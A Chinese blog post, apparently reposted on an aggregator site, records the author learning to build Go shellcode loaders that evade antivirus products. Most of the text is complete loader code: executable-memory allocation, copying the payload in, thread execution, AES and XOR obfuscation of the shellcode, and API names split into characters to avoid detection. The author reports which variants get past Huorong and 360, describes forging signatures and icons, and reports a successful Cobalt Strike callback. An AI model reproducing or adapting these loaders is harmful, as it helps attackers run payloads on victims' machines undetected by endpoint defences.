go免杀学习记录

news/2024/11/15 17:22:51/文章来源:https://www.cnblogs.com/sunny11/p/18378655

题记

  最近剑来动漫上线,虽然观感不如我的预期,感觉节奏过快。但是也是一种进步了,愿各位道友都能找到自己的宁姚。

  "我喜欢的姑娘啊,她眉如远山,浩然天下所有好看的山,好看的水,加起来都不如她。她睫毛轻颤的模样,落在了我的心里。那万年不动的剑气长城,都好像轻轻晃了晃。"

                                                                                                                                   ——烽火戏诸侯 《剑来》

  经过这几天的学习,go语言的shellcode加载器也算入门了一些,火绒把shellcode远程加载就能直接过,360需要做一下icon与签名的伪造,当然做完这些原生的shellcode加载器也能直接绕过火绒。

原始的加载器代码

  实测以下代码编译好的exe可以成功执行,但免杀效果较差,不过我们依然可以学到最原始的shellcode加载器的执行原理,后边免杀也是围绕基础的原理进行各种二开操作的。

  加载使用的模块,输入shellcode,分配内存,然后将shellcode复制到分配的内存中执行。

package main

import (

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows")

func main() {

    code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

注释:

1、包导入

  encoding/hex:用于十六进制编码和解码。

  syscall:用于与操作系统进行低级别的交互。

  unsafe:提供对内存的低级访问。

  golang.org/x/sys/windows:提供与Windows系统交互的功能。

2、解码Shellcode

  使用hex.DecodeString将十六进制字符串解码为字节切片。该操作可能会返回错误,但在这段代码中错误未被处理。

  go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来

  在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组

  例如:

    message := "fc4883e4f0e8c8"就是十六进制字符串

    十六进制字符串string转换成字节数组byteArray

    byteArray, _ := hex.DecodeString(hexString)

    字节数组转换成十六进制字符串

    hexString := hex.EncodeToString(byteArray)

3、加载DLL和查找函数

  加载Windows的kernel32.dll库,该库包含处理内存分配的函数。

  查找VirtualAlloc函数,该函数用于在进程的虚拟地址空间中分配内存。

4、分配内存

  allocSize为要分配的内存大小,单位为字节。

  调用VirtualAlloc分配内存,参数说明:

  0表示操作系统选择内存地址。

  allocSize是要分配的大小。

  windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留内存。

  windows.PAGE_EXECUTE_READWRITE表示分配的内存可执行、可读和可写。

  如果返回的内存地址mem为0,表示分配失败,程序将触发panic。

4、写入shellcode

  使用unsafe.Pointer将分配的内存地址转换为字节数组指针,并创建一个切片buffer,其大小为分配的内存大小。

  将解码后的Shellcode复制到分配的内存中。

5、执行Shellcode

  调用syscall.Syscall来执行Shellcode。第一个参数是Shellcode的内存地址,后面三个参数是传递给Shellcode的参数(此处都为0)。

参数调用加载器

package main

import (
    "encoding/hex"
    "golang.org/x/sys/windows"
    "os"
    "unsafe"
)

const (
    MEM_COMMIT        = 0x1000
    MEM_RESERVE       = 0x2000
    PAGE_EXECUTE_READ = 0x20
    PAGE_READWRITE    = 0x04
)

func main() {
    param := os.Args[1]
    respString := string(param)
    shellcode2, _ := hex.DecodeString(respString)
    data := shellcode2
    /*for i := 0; i < len(data); i++ {
        fmt.Printf("%x", data[i])
    }*/
    //execEnumChildWindows(data)
    kernel32 := windows.NewLazySystemDLL("kernel32")
    //user32 := windows.NewLazySystemDLL("user32")

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    //EnumChildWindows := user32.NewProc("EnumChildWindows")

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
        panic(1)
    }
    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
        panic(1)
    }
    oldProtect := PAGE_READWRITE
    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
        panic(1)
    }
    CreateThread := kernel32.NewProc("CreateThread")
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

 

  可以看到以上加载器火绒是监测不出来的,但过不了360。

加密方式一-aes加密

  aes加密:

package main

 

import (

"bytes"

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

)

 

// 填充字符串(末尾)

func PaddingText1(str []byte, blockSize int) []byte {

//需要填充的数据长度

paddingCount := blockSize - len(str)%blockSize

//填充数据为:paddingCount ,填充的值为:paddingCount

paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount)

newPaddingStr := append(str, paddingStr...)

//fmt.Println(newPaddingStr)

return newPaddingStr

}

 

// ---------------DES加密--------------------

func EncyptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

src = PaddingText1(src, block.BlockSize())

blockMode := cipher.NewCBCEncrypter(block, key)

blockMode.CryptBlocks(src, src)

return src

}

 

func main() {

 

shellcode := []byte{}

str := base64.StdEncoding.EncodeToString(shellcode)

 

//密钥长度16

key := []byte("AofqwwWicshoiqQq")

src := EncyptogAES(str, key)

message := base32.HexEncoding.EncodeToString(src)

fmt.Println(message)

}

 

  aes解密:

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

    message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

str := string(DecrptogAES(aesMsg, key))

sc, _ := base64.StdEncoding.DecodeString(string(str))

code := string(sc)

 

加密方式二-xor混淆

  xor加密:

// XOR 操作

xordMessage := make([]byte, len(str))

for i := 0; i < len(str); i++ {

xordMessage[i] = str[i] ^ 0xff

}

  xor解密:

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

内存加载方式一

code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

 

内存加载方式二

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

 

内存加载方式三

    code := string(sc)
    decode, _ := hex.DecodeString(code)
    var (
        a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
        c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))
    )

    allocSize := uintptr(len(decode))
    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decode)


    syscall.Syscall(mem, 0, 0, 0, 0)

 

 

内存加载方式四-失败

  ntdll.dll的加载执行没成功过,不知道原因。

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

)

 

var (

kernel32      = syscall.MustLoadDLL("kernel32.dll")   //调用kernel32.dll

ntdll         = syscall.MustLoadDLL("ntdll.dll")      //调用ntdll.dll

VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数

RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")   //使用ntdll调用RtCopyMemory函数

)

 

func checkErr(err error) {

if err != nil { // 如果内存调用出现错误,可以报出

if err.Error() != "The operation completed successfully." {

println(err.Error())

os.Exit(1)

}

}

}

 

运行失败1,参考https://github.com/YGYoghurt/Go-shellcode--

shellcode, err := hex.DecodeString(deStrBytes)

 

// 调用VirtualAllo申请一块内存

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if addr == 0 {

checkErr(err)

}

// 调用RtlCopyMemory加载进内存当中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))

_, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))

checkErr(err)

 

//syscall来运行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)

运行失败2,参考https://github.com/hhuang00/go-bypass-loader/tree/main:

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'}))

)

 

addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

_, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

syscall.Syscall(addr, 0, 0, 0, 0)

示例加载器一

  以下代码感觉内存分配执行的方式烂大街了,火绒都过不了,需要改一下。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值  

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    decode, _ := hex.DecodeString(code)

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

)

 

    allocSize := uintptr(len(decode))

    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

 

    syscall.Syscall(mem, 0, 0, 0, 0)

}

示例加载器二

  以下代码可直接过火绒,但是360能够查出来。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

PAGE_EXECUTE_READ = 0x20

     PAGE_READWRITE    = 0x04

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值    

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

 

360和火绒的简便方法

  借用大佬的一段话:“想告诉大家,有时候落地无很可能不是代码问题就是特征匹配上了,使用工具或者是修改VS编译配置,相当于改头换面,换了个hash让他比对不上,就能过了。”

  我们可以看到,示例加载器1和2是都过不了360的,但我们通过工具批量伪造签名和icon可以让360短时间查不出来。

  批量生成:

  360查完还剩下30多个:

  对单独的进行扫描,360未发现异常:

  成功上线cs:

参考文章

  go实现的shellcode免杀加载器,实测可过火绒,360:https://github.com/hhuang00/go-bypass-loader/tree/main

  go实现免杀(实用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0

  老生常谈杀软特性 免杀数字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww

  Golang写的shellcode免杀加载器思路:https://github.com/YGYoghurt/Go-shellcode--

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/786944.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

看图学 - Swift actor

本文首发于 Ficow Shens Blog,原文地址: 看图学 - Swift actor。想第一时间获取对于自己有帮助的新内容? 欢迎关注 Ficow 的公众号: 看图学 Swift actor如需获取PDF版本思维导图、示例代码,请查阅公众号内容: 《看图学 - Swift actor》Stay hungry,stay foolish.

VulNyx - Ceres 靶机

有80端口访问看看他这个挺奇葩的看了wp才知道 file.php的参数是file 他会自动给你加上php 也就是说file=secret.php读不到数据要file=secret才能读到数据伪协议读取文件<?php include($_GET["file"].".php"); ?><?php system("id…

读软件开发安全之道:概念、设计与实施08密码学(下)

密码学1. 对称加密 1.1. symmetric encryption 1.2. 使用各方共享的密钥来隐藏数据1.2.1. 对称加密在本质上依赖共享密钥1.3. 所有加密都是通过对明文进行转换,把明文消息(或者原始消息)变成无法识别的形式(也称为密文)​,从而隐藏原始消息内容的 1.4. 可逆的转换称为对称…

Citrix ADC Release 14.1 Build 29.63 (nCore, VPX, SDX, CPX, BLX) - 混合多云应用交付控制器

Citrix ADC Release 14.1 Build 29.63 (nCore, VPX, SDX, CPX, BLX) - 混合多云应用交付控制器Citrix ADC Release 14.1 Build 29.63 (nCore, VPX, SDX, CPX, BLX) - 混合多云应用交付控制器 Citrix ADC - 混合多云应用交付控制器 请访问原文链接:https://sysin.org/blog/citr…

程序员:全栈的痛你不知道

我这里说的全栈,不只是IT技术栈,还有更多的是产品运营思维。任何时候全栈人都应该用解决问题、推动事情往前发展的思维去做事。上周一个同事直接对我开喷,骂我无能,说:“你怎么一个人就搞不定所有系统呢?”,我半支烟纵横IT江湖14余年,还是第一次被人这么嫌弃。 事情缘由…

dotnet C# 从控制台开始 关联 Win2D 和 WinUI 3 应用

本文将告诉大家如何从最简单的控制台开始搭建,让 Win2D 和 WinUI 3 关联起来,让 Win2D 可以将内容渲染到 WinUI 3 应用上本文适合想了解 WinUI 3 基础机制以及 Win2D 与 WinUI 3 协同的方式的伙伴。阅读本文将可以了解到一个简单的方式,简单到使用控制台项目即可进行搭建整个…

Zustand:状态持久化在项目中的应用

Zustand的持久化中间件允许你将状态存储在各种存储中,例如localStorage、AsyncSZustand的持久化中间件允许你将状态存储在各种存储中,例如localStorage、AsyncStorage或IndexedDB等。这使得应用的状态可以跨页面持久化。也就是说用户刷新页面或者关闭浏览器后重新打开,应用的…

060、Vue3+TypeScript基础,插槽的基础用法

01、main.js代码如下:// 引入createApp用于创建Vue实例 import {createApp} from vue // 引入App.vue根组件 import App from ./App.vue// 引入emitter用于全局事件总线 // import emitter from @/utils/emitterconst app = createApp(App);// App.vue的根元素id为app app.mou…

059、Vue3+TypeScript基础,页面通讯之父组件provide数据,子孙组件用inject直接使用

01、main.js代码如下:// 引入createApp用于创建Vue实例 import {createApp} from vue // 引入App.vue根组件 import App from ./App.vue// 引入emitter用于全局事件总线 // import emitter from @/utils/emitterconst app = createApp(App);// App.vue的根元素id为app app.mou…

058、Vue3+TypeScript基础,页面通讯之父页面使用$parent的用法

01、main.js代码如下:// 引入createApp用于创建Vue实例 import {createApp} from vue // 引入App.vue根组件 import App from ./App.vue// 引入emitter用于全局事件总线 // import emitter from @/utils/emitterconst app = createApp(App);// App.vue的根元素id为app app.mou…

平面几何基本功:用导角法解决若干问题

引理1 如图, 设锐角\(\small \triangle ABC\)的外接圆为\(\small\Omega, X,Y,Z\)分别是劣弧\(\small\mathop{BC}\limits^\frown,\mathop{AC}\limits^\frown,\mathop{AB}\limits^\frown\)的中点.证明:\(\small\triangle XYZ\)的垂心是\(\small\triangle ABC\)的内心.分析:易知…

全网最适合入门的面向对象编程教程:38 Python常用复合数据类型-使用列表实现堆栈、队列和双端队列

在 Python 中,列表(list)是一种非常灵活的数据结构,可以用来实现堆栈(stack)、队列(queue)和双端队列(deque)。这些数据结构虽然在使用时遵循不同的操作规则,但都可以通过 Python 列表来高效地实现。全网最适合入门的面向对象编程教程:38 Python 常用复合数据类型-…